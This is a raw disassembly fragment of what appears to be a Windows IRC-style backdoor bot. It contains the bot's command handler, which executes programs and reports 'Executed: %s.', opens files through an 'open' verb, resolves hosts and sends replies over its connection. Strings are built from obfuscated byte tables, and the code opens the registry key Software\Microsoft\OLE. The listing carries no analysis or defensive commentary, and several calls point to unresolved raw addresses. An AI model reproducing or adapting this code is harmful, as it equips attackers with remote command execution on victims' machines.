; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_404640+352j
		test	ebp, ebp
		jle	short loc_4049B8


loc_4049AB:				; CODE XREF: sub_404640+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401442
		dec	ebp
		jnz	short loc_4049AB


loc_4049B8:				; CODE XREF: sub_404640+356j
					; sub_404640+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049CE:				; CODE XREF: sub_404640+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049E5
		call	sub_401F69
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: sub_404640+39Cj
		call	sub_401442


loc_4049EA:				; CODE XREF: sub_404640+162j
					; sub_404640+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B10	proc near		; CODE XREF: sub_401F69j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_448CA2
		call	sub_4014D3
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B56
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404B10+1Dj
					; sub_404B10+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B96
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B96
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_40146F
		cmp	byte ptr [eax],	23h
		jz	short loc_404B96
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B96:				; CODE XREF: sub_404B10+64j
					; sub_404B10+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_401442
		pop	edi
		pop	esi
		retn	4
sub_404B10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401AF0
		test	eax, eax
		jz	short loc_404C0A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C0A:				; CODE XREF: sub_404BE0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C20	proc near		; CODE XREF: sub_40185Cj
		push	esi
		push	edi
		mov	edi, dword_50F8A4
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D60D9
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C4F
		mov	ecx, offset byte_4D60B5
		call	sub_401D0C
		call	edi
		mov	dword_4D60D9, eax


loc_404C4F:				; CODE XREF: sub_404C20+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_4017C6j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C70
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CE4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404CE4:				; CODE XREF: sub_404C70+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E75
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C5D
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FBE
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014D3
		push	eax
		push	0
		nop
		call	near ptr 27F0000h
		test	eax, eax
		jnz	short loc_404E49
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404C70+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404E75:				; CODE XREF: sub_404C70+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F24
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E6E85
		mov	[esp+178h+var_4], 3
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F10
		mov	al, byte_4478D6
		test	al, al
		jz	short loc_404EE0
		push	offset dword_447874
		mov	ecx, offset dword_448DB0
		call	sub_401447


loc_404EE0:				; CODE XREF: sub_404C70+25Fj
		mov	al, byte_44791F
		test	al, al
		jz	short loc_404EF8
		push	offset byte_44794F
		mov	ecx, offset dword_448DB0
		call	sub_401942


loc_404EF8:				; CODE XREF: sub_404C70+277j
		mov	ecx, offset dword_448DB0
		call	sub_401E5B
		mov	byte_4D60CC, 0
		mov	byte_4E6E84, 0


loc_404F10:				; CODE XREF: sub_404C70+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404C70+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F6C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		mov	ecx, offset word_4E6E9A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404F6C:				; CODE XREF: sub_404C70+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405029
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1A8h+var_164]
		push	9
		push	ecx
		mov	[esp+1B0h+var_4], 4
		call	sub_4019B5
		add	esp, 38h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405029:				; CODE XREF: sub_404C70+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405147
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A87
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017E4
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4020F4
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40200E
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_405147:				; CODE XREF: sub_404C70+3CEj
		lea	ecx, [edi+0D99h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40516A
		mov	byte_4D60CC, al
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_40516A:				; CODE XREF: sub_404C70+4ECj
		lea	ecx, [edi+0D3Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405431
		lea	ecx, [esp+178h+var_11C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051F4
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_4051F4:				; CODE XREF: sub_404C70+56Ej
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_4052C7
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		call	near ptr 71ABE479h
		nop
		mov	edi, eax
		test	edi, edi
		jz	loc_4053A8
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40540E
; ---------------------------------------------------------------------------


loc_4052C7:				; CODE XREF: sub_404C70+5CAj
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053A8
		mov	ecx, [edi+0Ch]
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016AE
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4053A8:				; CODE XREF: sub_404C70+5E3j
					; sub_404C70+694j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017E4
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40540E:				; CODE XREF: sub_404C70+652j
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405431:				; CODE XREF: sub_404C70+50Fj
		lea	ecx, [edi+0BCDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405522
		lea	ecx, [edi+9]
		call	sub_4017E4
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402022
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+188h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+190h+var_4], ebx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60B5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E85
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405522:				; CODE XREF: sub_404C70+7D6j
		lea	ecx, [edi+0E23h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405690
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013D9
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013D9
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013D9
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_405673
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013D9
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_40146F
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015D7
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017E4
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017E4
		push	eax
		call	near ptr 77C293C7h
		nop
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_40562A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405648
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_404C70+99Dj
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405648:				; CODE XREF: sub_404C70+9B8j
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_40566E:				; CODE XREF: sub_404C70+1D4j
					; sub_404C70+2AFj ...
		call	sub_401226


loc_405673:				; CODE XREF: sub_404C70+922j
					; sub_404C70+C70j
		xor	al, al


loc_405675:				; CODE XREF: sub_404C70+6Fj
					; sub_404C70+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_405690:				; CODE XREF: sub_404C70+8C7j
		lea	ecx, [edi+0C85h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405706
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F3C
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405706:				; CODE XREF: sub_404C70+A35j
		lea	ecx, [edi+0CE1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057F7
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E85
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E6E85
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60B5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4057F7:				; CODE XREF: sub_404C70+AABj
		lea	ecx, [edi+0CB3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4058CB
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_40585F
		mov	ebx, 7


loc_40585F:				; CODE XREF: sub_404C70+BE8j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40194C
		push	offset byte_446F70
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058B4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_4058B4:				; CODE XREF: sub_404C70+C17j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4058CB:				; CODE XREF: sub_404C70+B9Cj
		lea	ecx, [edi+0DF5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405673
		lea	ecx, [esp+178h+var_100]
		call	sub_401424
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019B5
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A87
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_50F75C
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
